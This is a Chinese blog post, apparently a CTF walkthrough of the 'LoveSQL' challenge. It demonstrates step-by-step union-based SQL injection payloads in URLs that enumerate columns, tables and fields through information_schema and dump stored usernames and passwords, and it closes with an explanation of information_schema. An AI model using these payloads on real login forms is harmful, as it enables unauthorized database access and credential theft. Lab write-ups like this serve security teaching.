LoveSQL

14 篇文章 2 订阅
5 篇文章 0 订阅

LoveSQL(SQL注入详解)

1、根据题目,显然想到的是sql注入漏洞,直接尝试万能密码

在这里插入图片描述

在这里插入图片描述

2、此时url构造,查看字段数

/check.php?username=admin' order by 3%23&password=1     # 存在
/check.php?username=admin' order by 4%23&password=1     # 报错

因此,得到总共有三个字段数

注意:url中不能用#,应该用url编码%23

3、用union来查询测试注入点查看回显点

构造url,得到回显点

/check.php?username=1' union select 1,2,3%23&password=1

在这里插入图片描述

4、此时查看数据库中的表,构造url

/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述

此时得到database中的两个表,分别是geekuser,10ve1ysq1

information_schema 表介绍

第一个查询看看库里有多少个表,表名等
select * from INFORMATION_SCHEMA.TABLES

information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema表里面。

Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。

元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

5、查看一下表中的字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述

得到的是l0ve1ysq1中的三个字段

6、查看字段中的数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

得到flag{827d4a15-65b5-44e2-aa5c-f7bd1372c567}

7、扩展

information_schema是什么,在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。

我们可以把Database看作是一个大仓库,仓库分了很多很多的房间,Schema就是其中的房间,一个Schema代表一个房间

Table可以看作是每个Schema中的床,Table(床)就被放入每个房间中,不能放置在房间之外,那岂不是晚上睡觉无家可归了。

然后床上可以放置很多物品,就好比Table上可以放置很多列和行一样,数据库中存储数据的基本单元是Table,现实中每个仓库放置物品的基本单位就是床。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值